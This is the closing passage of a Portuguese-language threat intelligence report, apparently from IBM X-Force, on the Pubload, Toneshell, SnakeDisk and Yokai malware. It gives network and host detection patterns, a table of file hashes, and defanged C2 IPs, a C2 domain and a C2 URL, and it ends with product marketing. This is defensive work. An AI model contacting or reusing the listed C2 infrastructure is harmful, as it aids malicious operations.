  • Tenha cuidado com arquivos baixados, mesmo que eles contenham documentos esperados. Treine a equipe para mostrar e reconhecer extensões de arquivo inesperadas
  • Monitore e busque nas redes pacotes de dados de aplicação TLS 1.2 (cabeçalho: 17 03 03) sem um handshake TLS anterior como sinal de um beacon Pubload ou Toneshell
  • Monitore e procure unidades USB contendo nomes executáveis suspeitos, DLLs e diretórios ocultos que possam indicar que um dispositivo está infectado com um worm USB
  • Monitore e procure diretórios suspeitos e desconhecidos em C:\ProgramData\ que contenham um EXE legítimo vulnerável ao carregamento lateral de DLL e uma DLL correspondente
  • Monitore e procure técnicas de persistência no registro e nas tarefas agendadas
  • Procure processos, tráfego de rede e IoCs detalhados neste relatório
  • Monitore qualquer atividade incomum de rede, persistência ou modificação de arquivos proveniente de executáveis de processos aparentemente benignos que carregam lateralmente uma DLL maliciosa

Indicadores de comprometimento

Indicador

Tipo de indicador

Contexto

f8b28cae687bd55a148d363d58f1
3a797486f12221f0e0d080ffb53611
d54231

SHA256

Arquivo malicioso preparado para entregar o Toneshell8

8132beeb25ce7baed0b561922d26
4b2a9852957df7b6a3daacfbb3a9
69485c79

SHA256

Arquivo malicioso preparado para entregar o Toneshell8

d1466dca25e28f0b7fae71d5c2abc0
7b397037a9e674f38602690e96cc5
b2bd4

SHA256

Arquivo malicioso preparado para entregar o Toneshell8

1272a0853651069ed4dc505007e85
25f99e1454f9e033bcc2e58d60fdaf
a4f02

SHA256

Arquivo malicioso preparado para entregar o Toneshell8

b8c31b8d8af9e6eae15f30019e39c
52b1a53aa1c8b0c93c8d075254ed
10d8dfc 

SHA256

Arquivo malicioso preparado para entregar o Toneshell7

7087e84f69c47910fd39c3869a70
6e55324783af8d03465a9e7bfde
52fe4d1d6 

SHA256

Arquivo malicioso preparado para entregar o Pubload

38fcd10100f1bfd75f8dc0883b0c
2cb48321ef1c57906798a422f2a2
de17d50c 

SHA256

Arquivo malicioso preparado para entregar o Pubload

69cb87b2d8ee50f46dae791b5a0
c5735a7554cc3c21bb1d989baa0f3
8c45085c

SHA256

PDF contendo URL de download para arquivo malicioso

564a03763879aaed4da8a8c1d60
67f4112d8e13bb46c2f80e0fcb9ffd
d40384c

SHA256

Carregador injetando Toneshell7

e4bb60d899699fd84126f9fa0df
f72314610c56fffca3d11f3b6fc93fc
b75e00 

SHA256

Carregador injetando Pubload

c2d1ff85e9bb8feb14fd015dceee1
66c2e52e2226c07e23acc348815
c0eb4608 

SHA256

Carregador injetando Pubload

188.208.141[.]196

IPv4

Servidor C2 do Pubload

bdbc936ddc9234385317c4ee83
bda087e389235c4a182736fc597
565042f7644

SHA256

Backdoor do Toneshell8

f0fec3b271b83e23ed7965198f3b
00eece45bd836bf10c038e99106
75bafefb1

SHA256

Backdoor do Toneshell8

e7b29611c789a6225aebbc9fee37
10a57b51537693cb2ec16e2177c22
392b546

SHA256

Backdoor do Toneshell8

9ca5b2cbc3677a5967c448d9d21
eb56956898ccd08c06b372c6471f
b68d37d7d

SHA256

Backdoor do Toneshell8

146.70.29[.]229

IPv4

Servidor ToneShell7/ToneShell8 C2

318a1ebc0692d1d012d20d306
d6634b196cc387b1f4bc38f97d
d437f117c7e20

SHA256

Backdoor Toneshell9

0d632a8f6dd69566ad98db56
e53c8f16286a59ea2bea81c2761
d43b6ab4ecafd

SHA256

Arquivo malicioso preparado para entregar Toneshell9

39e7bbcceddd16f6c4f2fc2335a
50c534e182669cb5fa90cbe29e
49ec6dfd0df

SHA256

Arquivo malicioso preparado para entregar Toneshell9

05eb6a06b404b6340960d7a6
cf6b1293e706ce00d7cba9a8b7
2b3780298dc25d

SHA256

Carregador contendo o fork do Toneshell que serviu de base para o ToneShell9

123.253.34[.]44

IPv4

Servidor C2 do Toneshell9

www.slickvpn[.]com

Domínio

Servidor C2 do Toneshell9

dd694aaf44731da313e4594d
6ca34a6b8e0fcce505e39f827
3b9242fdf6220e0

SHA256

Worm USB SnakeDisk

bb5bb82e5caf7d4dbbe878b7
5b23f793a5f3c5ca6dba70d8b
e447e8c004d26ce 

SHA256

Carga útil EXE benigna do SnakeDisk usada para o carregamento lateral de vulnerabilidades Yokai

35bec1d8699d29c27b66e564
6e58d25ce85ea1e41481d048b
cea89ea94f8fb4b 

SHA256

DLL do backdoor Yokai

http://118.174.183[.]89/kptinfo
/import/index.php

URL

Servidor Yokai C2

IBM X-Force Premier Threat Intelligence agora está integrado ao OpenCTI pela Filigran, fornecendo inteligência de ameaças praticável sobre essa atividade de ameaças e outras. Acesse insights sobre agentes de ameaças, malware e riscos do setor. Instale o X-Force OpenCTI Connector para aprimorar a detecção e a resposta, reforçando sua cibersegurança com a experiência do IBM X-Force. Obtenha hoje mesmo uma avaliação de 30 dias do X-Force Premier Threat Intelligence!

Soluções relacionadas
Serviços de gerenciamento de ameaças

Preveja, previna e responda às ameaças modernas aumentando a resiliência dos negócios.

 

Saiba mais sobre os serviços de gerenciamento de ameaças
Soluções de detecção e resposta a ameaças

Use as soluções de detecção e resposta a ameaças da IBM para fortalecer sua segurança e acelerar a detecção de ameaças.

Explore as soluções de detecção de ameaças
Soluções para defesa contra ameaças móveis (MTD)

Proteja seu ambiente móvel com as soluções abrangentes de defesa contra ameaças móveis do IBM MaaS360.

Conheça as soluções de defesa contra ameaças móveis
Dê o próximo passo

Tenha soluções abrangentes de gerenciamento de ameaças, protegendo habilmente a sua empresa contra os ataques cibernéticos.

  1. Saiba mais sobre os serviços de gerenciamento de ameaças
  2. Agende um briefing centrado em ameaças